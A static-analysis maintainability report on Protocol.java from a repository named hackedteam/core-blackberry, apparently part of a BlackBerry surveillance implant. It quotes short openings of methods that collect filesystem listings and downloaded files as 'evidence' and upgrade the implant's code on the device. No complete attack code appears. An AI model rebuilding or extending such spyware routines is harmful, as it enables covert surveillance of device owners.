hackedteam/core-blackberry

View on GitHub
RCSBlackBerry/src/blackberry/action/sync/Protocol.java

Summary

Maintainability
C
1 day
Test Coverage

File Protocol.java has 355 lines of code (exceeds 250 allowed). Consider refactoring.
Open

//#preprocess

/* *************************************************
 * Copyright (c) 2010 - 2011
 * HT srl,   All rights reserved.
Severity: Minor
Found in RCSBlackBerry/src/blackberry/action/sync/Protocol.java - About 4 hrs to fix

    Method saveFilesystemLog has 33 lines of code (exceeds 25 allowed). Consider refactoring.
    Open

        private static boolean saveFilesystemLog(Evidence fsLog, String filepath) {
            //#ifdef DBC
            Check.requires(fsLog != null, "fsLog null"); //$NON-NLS-1$
            Check.requires(!filepath.endsWith("/"), "path shouldn't end with /"); //$NON-NLS-1$ //$NON-NLS-2$
            Check.requires(!filepath.endsWith("*"), "path shouldn't end with *"); //$NON-NLS-1$ //$NON-NLS-2$
    Severity: Minor
    Found in RCSBlackBerry/src/blackberry/action/sync/Protocol.java - About 1 hr to fix

      Method upgradeCod has 33 lines of code (exceeds 25 allowed). Consider refactoring.
      Open

          public static boolean upgradeCod(byte[] codBuff) {
      
              if (Utils.isZip(codBuff)) {
                  //#ifdef DEBUG
                  debug.warn("zip not supported"); //$NON-NLS-1$
      Severity: Minor
      Found in RCSBlackBerry/src/blackberry/action/sync/Protocol.java - About 1 hr to fix

        Method upgradeMulti has 28 lines of code (exceeds 25 allowed). Consider refactoring.
        Open

            public static boolean upgradeMulti(Vector files) {
        
                try {
                    AutoFile[] autoFiles = new AutoFile[files.size()];
                    // guarda se i file ci sono tutti e sono capienti e leggibili
        Severity: Minor
        Found in RCSBlackBerry/src/blackberry/action/sync/Protocol.java - About 1 hr to fix

          Method expandPath has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.
          Open

              private static void expandPath(Evidence fsLog, String path, int depth) {
                  //#ifdef DBC
                  Check.requires(depth > 0, "wrong recursion depth"); //$NON-NLS-1$
                  Check.requires(path != null, "path==null"); //$NON-NLS-1$
                  Check.requires(!path.endsWith("/"), "path shouldn't end with /"); //$NON-NLS-1$ //$NON-NLS-2$
          Severity: Minor
          Found in RCSBlackBerry/src/blackberry/action/sync/Protocol.java - About 1 hr to fix

          Cognitive Complexity

          Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

          A method's cognitive complexity is based on a few simple rules:

          • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
          • Code is considered more complex for each "break in the linear flow of the code"
          • Code is considered more complex when "flow breaking structures are nested"

          Further reading

          Method saveDownloadLog has a Cognitive Complexity of 10 (exceeds 5 allowed). Consider refactoring.
          Open

              public static void saveDownloadLog(String filefilter)
                      throws ProtocolException {
                  AutoFile file = new AutoFile(filefilter, false);
                  if (file.exists()) {
                      //#ifdef DEBUG
          Severity: Minor
          Found in RCSBlackBerry/src/blackberry/action/sync/Protocol.java - About 1 hr to fix

          Cognitive Complexity

          Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

          A method's cognitive complexity is based on a few simple rules:

          • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
          • Code is considered more complex for each "break in the linear flow of the code"
          • Code is considered more complex when "flow breaking structures are nested"

          Further reading

          Method saveFilesystem has a Cognitive Complexity of 8 (exceeds 5 allowed). Consider refactoring.
          Open

              public static void saveFilesystem(int depth, String path) {
                  Evidence fsLog = new Evidence(EvidenceType.FILESYSTEM);
                  fsLog.createEvidence();
          
                  path = path.replace('\\', '/');
          Severity: Minor
          Found in RCSBlackBerry/src/blackberry/action/sync/Protocol.java - About 45 mins to fix

          Cognitive Complexity

          Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

          A method's cognitive complexity is based on a few simple rules:

          • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
          • Code is considered more complex for each "break in the linear flow of the code"
          • Code is considered more complex when "flow breaking structures are nested"

          Further reading

          Method upgradeCod has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.
          Open

              public static boolean upgradeCod(byte[] codBuff) {
          
                  if (Utils.isZip(codBuff)) {
                      //#ifdef DEBUG
                      debug.warn("zip not supported"); //$NON-NLS-1$
          Severity: Minor
          Found in RCSBlackBerry/src/blackberry/action/sync/Protocol.java - About 35 mins to fix

          Cognitive Complexity

          Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

          A method's cognitive complexity is based on a few simple rules:

          • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
          • Code is considered more complex for each "break in the linear flow of the code"
          • Code is considered more complex when "flow breaking structures are nested"

          Further reading

          Method upgradeMulti has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring.
          Open

              public static boolean upgradeMulti(Vector files) {
          
                  try {
                      AutoFile[] autoFiles = new AutoFile[files.size()];
                      // guarda se i file ci sono tutti e sono capienti e leggibili
          Severity: Minor
          Found in RCSBlackBerry/src/blackberry/action/sync/Protocol.java - About 35 mins to fix

          Cognitive Complexity

          Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.

          A method's cognitive complexity is based on a few simple rules:

          • Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
          • Code is considered more complex for each "break in the linear flow of the code"
          • Code is considered more complex when "flow breaking structures are nested"

          Further reading

          There are no issues that match your filters.

          Category
          Status